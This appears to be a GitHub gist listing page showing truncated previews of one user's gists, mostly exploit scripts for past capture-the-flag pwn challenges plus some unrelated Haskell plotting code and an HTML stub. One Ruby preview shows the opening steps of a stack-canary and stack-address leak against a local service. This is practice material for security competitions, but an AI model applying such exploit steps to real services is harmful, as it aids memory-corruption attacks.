Kenta Sato Tosainu

🌸

ヾ( ╹◡╹ 🌸 )ﾉ"

Arch Linux, Embedded Systems, etc.

Tosainu / exploit.hs

Last active September 23, 2017 13:12

	#!/usr/bin/env stack
	-- stack --stack-yaml ./stack.yaml runghc --package pwn

	-- 31C3 CTF: mynx
	-- https://github.com/ctfs/write-ups-2014/tree/master/31c3-ctf-2014/pwn/mynx

	-- tested env:
	-- $ cat /etc/os-release
	-- NAME="Ubuntu"
	-- VERSION="16.04.3 LTS (Xenial Xerus)"

Tosainu / exploit.hs

Created September 23, 2017 07:32

	#!/usr/bin/env stack
	-- stack --stack-yaml ./stack.yaml runghc --package pwn

	-- HITCON CTF 2016 Quals: Secret Holder
	-- https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/secret-holder-100

	-- tested env:
	-- $ cat /etc/os-release
	-- NAME="Ubuntu"
	-- VERSION="16.04.3 LTS (Xenial Xerus)"

Tosainu / exploit.hs

Created October 21, 2017 11:25

	#!/usr/bin/env stack
	-- stack --stack-yaml ./stack.yaml runghc

	-- SIGINT CTF 2013: baremetal
	-- http://shell-storm.org/repo/CTF/SIGINT-2013/pwning/baremetal-100/

	{-# LANGUAGE OverloadedStrings #-}

	import Control.Concurrent (threadDelay)
	import Control.Monad

Tosainu / exploit.rb

Created November 7, 2017 08:18

	require 'pwn'
	z = Sock.new '127.0.0.1', 31338
	z.send 'A' * 0x19
	z.recv 0x18
	canary = u64(z.recv 8) & (~0xff)
	log.info "canary: #{canary.hex}"
	z.recv
	z.send 'A' * 0x40
	z.recv 0x40
	stack = u64((z.recv 6) + '\x00\x00') & 0x00ffffffffffff

Tosainu / Main.hs

Created January 3, 2018 09:05

	module Main where

	import Control.Monad (replicateM)
	import Graphics.Rendering.Chart.Backend.Cairo
	import Graphics.Rendering.Chart.Easy
	import Graphics.Rendering.Chart.Gtk
	import Numeric.LinearAlgebra
	import System.Random

	instance (Random x, Random y) => Random (x, y) where

Tosainu / Main.hs

Last active January 5, 2018 16:02

	{-# LANGUAGE FlexibleContexts #-}

	module Main where

	import Control.Monad (replicateM)
	import Graphics.Rendering.Chart.Backend.Cairo
	import Graphics.Rendering.Chart.Easy hiding ((<.>))
	import Graphics.Rendering.Chart.Gtk
	import Numeric.GSL.Minimization
	import Numeric.LinearAlgebra

Tosainu / .gitignore

Last active December 24, 2018 10:42

私用の Pandoc テンプレート

Tosainu / index.html

Last active February 9, 2018 13:56

	<!DOCTYPE html>
	<html>
	<head>
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width" />
	<title>にゃーん</title>
	</head>
	<body>
	<p id="message-box"></p>

Tosainu / exploit.hs

Created March 26, 2018 14:27

	{-# LANGUAGE OverloadedStrings #-}

	-- CSAW CTF Qualification Round 2012: 聊天
	-- http://shell-storm.org/repo/CTF/CSAW-2012/Exploitation/300/

	import Control.Monad
	import Data.Bits
	import qualified Data.ByteString.Char8 as BS
	import Data.Maybe
	import Data.Monoid ((<>))

Tosainu / exploit.hs

Created April 30, 2018 19:00

	{-# LANGUAGE OverloadedStrings #-}

	-- ASIS CTF Quals 2018: Cat

	import Control.Monad
	import Control.Monad.IO.Class (liftIO)
	import Data.Bits
	import qualified Data.ByteString.Char8 as BS
	import Data.Maybe
	import Data.Monoid ((<>))